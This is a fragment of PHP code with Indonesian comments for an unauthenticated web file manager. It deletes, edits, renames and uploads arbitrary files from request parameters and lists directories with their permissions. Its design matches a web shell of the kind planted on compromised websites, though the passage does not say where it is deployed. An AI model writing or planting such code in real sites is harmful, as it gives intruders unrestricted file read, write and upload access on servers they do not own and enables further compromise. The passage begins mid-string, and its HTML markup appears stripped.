ITEM DELETED: $file_to_del";
} else {
echo "
DELETE FAILED!";
}
}
// --- LOGIKA EDIT & RENAME (Tampil di atas list) ---
if (isset($_POST['save_edit'])) {
$file = $_POST['file_path'];
$content = $_POST['content'];
if (@file_put_contents($file, $content)) {
echo "
FILE SAVED!";
}
}
if (isset($_POST['exec_rename'])) {
$old = $_POST['old_path'];
$new = $_POST['new_name'];
$new_path = dirname($old).'/'.$new;
if (@rename($old, $new_path)) {
echo "
RENAMED TO: $new";
}
}
// --- Tampilan PATH ---
echo '
PATH: ';
$paths = explode('/', $path);
foreach ($paths as $id => $pat) {
if ($pat == '' && $id == 0) { echo '
/'; continue; }
if ($pat == '') continue;
echo '
'.$pat.'/';
}
echo '
';
// --- FORM EDIT ---
if (isset($_GET['action']) && $_GET['action'] == 'edit') {
$file = $_GET['item'];
$content = htmlspecialchars(file_get_contents($file));
echo "
";
}
// --- FORM RENAME ---
elseif (isset($_GET['action']) && $_GET['action'] == 'rename') {
$file = $_GET['item'];
echo "
";
}
// --- DEFAULT DISPLAY (UPLOADER & LIST) ---
else {
echo "
";
if (isset($_POST["up"])) {
$dest = $path . "/" . $_FILES["index"]["name"];
if (@copy($_FILES["index"]["tmp_name"], $dest)) {
echo "
SUCCESS UPLOAD!";
} else { echo "
UPLOAD FAILED!"; }
}
echo "
| Name |
Size |
Permission |
Action |
";
$dirs = scandir($path);
// Listing Dirs
foreach ($dirs as $dir) {
if (!is_dir("$path/$dir") || $dir == '.') continue;
if ($dir == '..') {
echo "| [ .. ] | -- | -- | -- |
";
} else {
echo "
| [ $dir ] |
DIR |
".substr(sprintf('%o', fileperms("$path/$dir")), -4)." |
[R]
[D]
|
";
}
}
// Listing Files
foreach ($dirs as $file) {
if (!is_file("$path/$file")) continue;
$size = round(filesize("$path/$file") / 1024, 2) . " KB";
$perm = is_writable("$path/$file") ? "" : "";
$perm .= substr(sprintf('%o', fileperms("$path/$file")), -4) . "";
echo "
| $file |
$size |
$perm |
[E]
[R]
[D]
|
";
}
echo "
";
}
?>